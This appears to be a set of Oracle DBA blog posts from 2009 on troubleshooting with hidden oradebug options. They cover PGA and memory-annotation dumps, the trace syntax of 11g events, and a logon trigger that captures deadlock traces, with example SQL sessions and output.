Miladin Modrakovic’s Blog: Oraclue

Well I had this post ready to publish today and did last check on google to find some additional resources and it turned out that
Tanel got this one just day before.It seems that memory is popular topic these days.
I am not going to repeat it since he covered this topic pretty good.

Here is link to Tanel’s post :

http://blog.tanelpoder.com/2009/06/24/oracle-memory-troubleshooting-part-3-automatic-top-subheap-dumping-with-heapdump/

I found some of these information researching  memory leak bugs.

In particulary Metalink  Doc ID:  784804.1

Second and very short post related to Oracle memory structures.This time I will focus on PGA .

Oracle offers many diffrents tools ( views, tables, dumps etc.. ) to gather information about these structures.This time I will introduce hidden oradebug options.

Reading these files is not difficult. There are also  heap analyzers out there on internet.

Since these dump files looks very familiar I will just focus on commands and syntax.

This is 3 line script to perform these dumps:

oradebug setmypid
oradebug unit_test_nolg &p
oradebug tracefile_name

First command will dump  PGAs information for all processes:

SQL> @od
Statement processed.
Enter value for p: dump_pga_details
Statement processed.

===============================================
PGA memory detail for pid 2, OS pid 13741
===============================================
2072 bytes,   3 chunks: “miscellaneous             “  PL/SQL
multiple heaps  ds=(nil)  dsprt=(nil)
42928 bytes,  90 chunks: “miscellaneous             “
multiple heaps  ds=(nil)  dsprt=(nil)
155824 bytes,  20 chunks: “permanent memory          “
pga heap        ds=0×9e5fa20  dsprt=(nil)
53120 bytes,   2 chunks: “free memory               “
session heap    ds=0×2aaaabd66998  dsprt=0×9e65120
44608 bytes,   1 chunk : “permanent memory          “
session heap    ds=0×2aaaabd66998  dsprt=0×9e65120
32792 bytes,   1 chunk : “permanent memory          “

———————————————————-
===============================================
PGA memory detail for pid 3, OS pid 13743
===============================================
141976 bytes,  18 chunks: “permanent memory          “
pga heap        ds=0×9e5fa20  dsprt=(nil)
53120 bytes,   2 chunks: “free memory               “
session heap    ds=0×2aaaabd66998  dsprt=0×9e65120
44608 bytes,   1 chunk : “permanent memory          “
session heap    ds=0×2aaaabd66998  dsprt=0×9e65120
32792 bytes,   1 chunk : “permanent memory          “
top call heap   ds=0×9e64f00  dsprt=(nil)
31608 bytes,   1 chunk : “free memory               “
top call heap   ds=0×9e64f00  dsprt=(nil)
31328 bytes,   1 chunk : “Fixed Uga                 “
pga heap        ds=0×9e5fa20  dsprt=(nil)
27248 bytes,   6 chunks: “free memory

——————————————————————

(more…)

Annotations can help to detect leaks and other problems with allocations of memory.

I will again use “old friend “  ORADEBUG

There are two  hidden options related to memory annotations:

MEMANOTEND <shared|private>                          – Record end-state mem annotations

MEMANOTDUMP <shared|private> <level>       -  Dump memory annotations

and four undocumented parameters :

_mem_annotation_pr_lev            private memory annotation collection level                           0
_mem_annotation_scale             memory annotation pre-allocation scaling                                 1
_mem_annotation_sh_lev            shared memory annotation collection level                            0
_mem_annotation_store             memory annotation in-memory store                                FALSE

So before you can use these options  I have to set these parameters.They cannot be changed dynamically

and  instance must be bounced.Something like this:

SQL> alter system set “_mem_annotation_store”=true scope=spfile;

System altered.  etc for the rest..

and now after restarting instance:

First set the process

SQL> oradebug setmypid
Statement processed.

Start recording :

SQL> oradebug memanotend private
Statement processed.

and at the end dump context into trace file:

SQL> oradebug memanotdump private 1
Statement processed.

SQL> oradebug tracefile_name
/oracle/diag/rdbms/test/test2/trace/test2_ora_26953.trc

host vi ora-main/app/oracle/diag/rdbms/test/test2/trace/test2_ora_26953.trc

In some cases when you set these parameters you will get ORA-600 like

ORA-00600: internal error code, arguments: [kspgip1], [101], [121], [1], [_mem_annotation_sh_lev],

or  ORA-00600: internal error code, arguments: [ksmanotsh:size]  but  here is option that will let you start your database:

more inittest.ora

*._mem_annotation_store=TRUE
*._mem_annotation_sh_lev=0
*._mem_annotation_scale=10
*._mem_annotation_pr_lev=1

-sh-3.1$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 – Production on Thu Jun 18 12:33:48 2009

Copyright (c) 1982, 2008, Oracle.  All rights reserved.

Connected to an idle instance.

SQL> startup pfile=’/oracle/admin/test/pfile/inittest.ora’;
ORACLE instance started.

Total System Global Area 2622255104 bytes
Fixed Size                  2162960 bytes
Variable Size             738201328 bytes
Database Buffers         1862270976 bytes
Redo Buffers               19619840 bytes
Database mounted.
Database opened.

SQL> select * from v$version;
BANNER
——————————————————————————–
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 – 64bit Production
PL/SQL Release 11.1.0.7.0 – Production
CORE    11.1.0.7.0      Production
TNS for Linux: Version 11.1.0.7.0 – Production
NLSRTL Version 11.1.0.7.0 – Production

SQL> set linesize 125 pagesize 50 newpage 0
SQL> col param_dflt form a3 head ‘Dflt?’
SQL> col param_name form a33 head ‘Parameter’
SQL> col param_value form a20 head ‘Value’
SQL> col DESCP format a64
SQL> select decode (ksppstdf, ‘FALSE’, ‘NO’, ‘ ‘) param_dflt,
2  ksppinm param_name,ksppdesc descp, ksppstvl param_value
3  from x$ksppi, x$ksppcv
4  where x$ksppi.indx = x$ksppcv.indx
5  and ksppinm like ‘%&1%’
6  order by ksppinm;
Enter value for 1: annota
old   5: and ksppinm like ‘%&1%’
new   5: and ksppinm like ‘%annota%’

Dfl Parameter                         DESCP                                                            Value
— ——————————— —————————————————————- ——————–
NO  _mem_annotation_pr_lev            private memory annotation collection level                       1
NO  _mem_annotation_scale             memory annotation pre-allocation scaling                         10
NO  _mem_annotation_sh_lev            shared memory annotation collection level                        0
NO  _mem_annotation_store             memory annotation in-memory store                                TRUE
_optimizer_reuse_cost_annotations reuse cost annotations during cost-based query transformation    TRUE

SQL> oradebug setmypid
Statement processed.

SQL> oradebug memanotend private
Statement processed.

SQL> oradebug memanotdump private 1
Statement processed.

SQL> oradebug tracefile_name

/oracle/admin/test/diag/rdbms/test/test/trace/test_ora_30961.trc

SQL> host vi test_ora_30961.trc

SQL> host vi /oracle/admin/test/diag/rdbms/test/test/trace/test_ora_30961.trc

*** 2009-06-18 12:34:49.059
Oradebug command ’setmypid’ console output: <none>

*** 2009-06-18 12:34:57.811
Processing Oradebug command ‘memanotend private’

*** 2009-06-18 12:34:57.811
Oradebug command ‘memanotend private’ console output: <none>

*** 2009-06-18 12:35:05.971
Processing Oradebug command ‘memanotdump private 1′

*** 2009-06-18 12:35:05.971
MEMORY ANNOTATION DUMP
———————-
Region: private
Level: 1
Level collected: 1
LEVEL ADDRESS          SIZE         NAME:TYPE
—– —————- ———— —————————————-
END OF MEMORY ANNOTATION DUMP

I know I already did four blogs on events but there is more to cover.

This short post will focus on some of the  trace option and it’s components.

trace[target ]<components>

In previous post I have used example something like:

alter session set events ‘trace[sql_mon] memory=high,get_time=highres’;

where sql_mon is target of interest

Just for reference here is list of targets that I have already posted:

bind_capture  -  capturing binds

dirpath_load  – direct load

explain       -  explain plan

sql_apa       – access path analysis

sql_analyze   -  sql analyze

sql_perf      -  performance analyzer

sql_tune      -  tuning advisor

sql_mon       -  sql monitor

sql_optimizer -  optimizer

sql_planmanagement – plan management

sql_costing        – cost based analysis

sql_transform     – sql transformation

sql_execution     – sql execution

Now let’s see what other options I can use in conjuction with target.

In my previous example I have used options memory and get_time :

alter session set events ‘trace[sql_mon] memory=high,get_time=highres’;

so this command will trace in memory sql monitor on high resolution.

Here is list of all combination:

[disk=DISABLE | LOW | LOWEST | MEDIUM | HIGH | HIGHEST]

[memory=DISABLE | LOW | LOWEST | MEDIUM | HIGH | HIGHEST]

[get_time=DISABLE | DEFAULT | SEQ | HIGHRES | SEQ_HIGHRES ]

[get_stack=DISABLE | DEFAULT | ENABLED ]

These options are self explanatory.

Just a few examples:

alter session set events ‘trace[sql_mon] memory=high,get_time=highres’;

alter session set events ‘trace[sql_mon] disk=highest,get_time=highres,get_stack=default’;

In the case of deadlock oracle will raise ORA-60 error.Trace file is writen by the Global Enqueue Service Daemon (LMD) background process.

Trace file will record sql involved but NOT the SQL  that initialy took the locks.It will record last entries.

So how to resolve issue and get all data involved with deadlocks?

Before I get to that point let me create simple deadlock case:

create table test(a int primary key);

insert into test select rownum from dba_tables where rownum <9;
commit;
Session 1:

update test set a=9 where a=1;
update test set a=10 where a=2;

session 2:

update test set a=11 where a=3;
update test set a=12 where a=4;

session 1:

update test set a=25 where a=8;
update test set a=13 where a=3;
session 2:

update test set a=22 where a=6;
update test set a=14 where a=1;

To troubleshoot deadlock I have create after logon trigger on database.
Although I can place all these commands together ( new option with events ) just for easy read I have used execute immediate for every command.
I have used new events syntax in 11g so  event 10046 is sql_trace, ORA-60 is deadlock.I have posted it on previous blogs.

For HANGANALYZE level 4 is used.This level dumps blockers.

Bellow is hanganalyze level description:

10     Dump all processes (IGN state)
5      Level 4 + Dump all processes involved in wait chains (NLEAF state)
4      Level 3 + Dump leaf nodes (blockers) in wait chains (LEAF,LEAF_NW,IGN_DMP state)
3      Level 2 + Dump only processes thought to be in a hang (IN_HANG state)
1-2    Only HANGANALYZE output, no process dump at all

and  trigger:

CREATE OR REPLACE TRIGGER SYS.TRACE_MILADIN_DEADLOCKS
after logon on database
begin
if user like ‘MILADIN’ then
execute immediate ‘alter session set timed_statistics=true’;
execute immediate ‘alter session set max_dump_file_size=unlimited’;
execute immediate ‘alter session set tracefile_identifier=”miladin_deadlock”’;
execute immediate ‘alter session set events ‘’sql_trace  wait=true, bind=true,plan_stat=all_executions,level=12”’;
execute immediate ‘alter session set events ”deadlock trace name hanganalyze_global level 4,forever”’;
execute immediate ‘alter session set events ”deadlock trace name systemstate level 266,lifetime 1”’;
execute immediate ‘alter session set events ”deadlock trace name processstate level 10,forever”’;
end if;
end;
/

(more…)